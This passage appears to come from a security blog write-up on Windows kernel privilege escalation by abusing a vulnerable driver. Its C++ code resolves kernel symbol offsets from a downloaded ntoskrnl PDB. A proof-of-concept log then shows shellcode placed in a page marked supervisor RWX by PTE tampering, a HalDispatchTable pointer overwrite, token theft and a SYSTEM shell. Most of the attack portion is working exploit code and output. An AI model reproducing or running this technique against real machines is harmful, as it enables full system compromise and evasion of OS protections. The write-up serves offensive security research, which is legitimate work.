WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static DWORD64 ResolveMmPteBaseRva(HANDLE hSym, DWORD64 modBase) {
SymFindCtx ctx{ "MiGetPteAddress", 0, false };
SymEnumSymbols(hSym, modBase, "MiGetPteAddress", OnSymbol, &ctx);
if (!ctx.found) {
printf("[-] MiGetPteAddress not found in PDB\n");
return 0;
}
return ctx.address - modBase;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.Token = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "Token");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ObHeaderCookie = ResolveSymbolRva(hSym, modBase, "ObHeaderCookie");
out.HalDispatchTable = ResolveSymbolRva(hSym, modBase, "HalDispatchTable");
out.MiGetPteAddressRva = ResolveMmPteBaseRva(hSym, modBase);
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}
Proof of Concept
Let’s run the code:
C:\Windows\System32>C:\Users\s12de\Documents\Github\byovds\FromRW_BYOVDto\PTEManipulation\x64\Debug\PTEManipulation.exe
Hello World!
[*] Kernel image: C:\WINDOWS\system32\ntoskrnl.exe
[*] PDB: ntkrnlmp.pdb Age: 1
[+] Valid cached PDB: C:\Users\s12de\AppData\Local\Temp\ntkrnlmp.pdb
[+] PDB loaded at base 0x10000000
[+] Offsets resolved
ObjectTable: 0x300
Token: 0x248
ActiveProcessLinks: 0x1D8
UniqueProcessId: 0x1D0
PsInitialSystemProcess: 0xFC6AB0
ObHeaderCookie: 0xFC6E4C
MiGetPteAddressRva: 0x43E130
[*] HalDispatchTable RVA: 0xE00630
NTOSKRNL Base address fffff802e5000000
[+] MmPteBase: 0xFFFFCE0000000000 (at offset +17 in MiGetPteAddress)
[*] Shellcode VA: 0x2A006F80000
[+] Shellcode copied to page
[*] Original PTE for 0x2A006F80000: 0x88000001165AC867
Write primitive sent successfully. Bytes returned: 0
[+] PTE modified: 0x08000001165AC863
[+] Page marked as Supervisor RWX
[*] To execute from ring 0, redirect a kernel function pointer to 0x2A006F80000
[*] HalDispatchTable+8 VA: 0xFFFFF802E5E00638
[*] Original HDT+8: 0xFFFFF802E5B7A990
Write primitive sent successfully. Bytes returned: 0
[+] HDT+8 overwritten with shellcode VA
[+] NtQueryIntervalProfile triggered
Write primitive sent successfully. Bytes returned: 0
[+] HDT+8 restored
[+] Token elevation: 1
[+] SYSTEM achieved, spawning cmd
Microsoft Windows [Version 10.0.26200.9711]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
nt authority\system
Conclusions
This technique demonstrates how a vulnerable driver’s kernel read/write primitives can be abused to achieve execution through PTE manipulation and HalDispatchTable redirection. By modifying memory permissions and executing shellcode in kernel mode, an attacker can bypass usermode restrictions
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.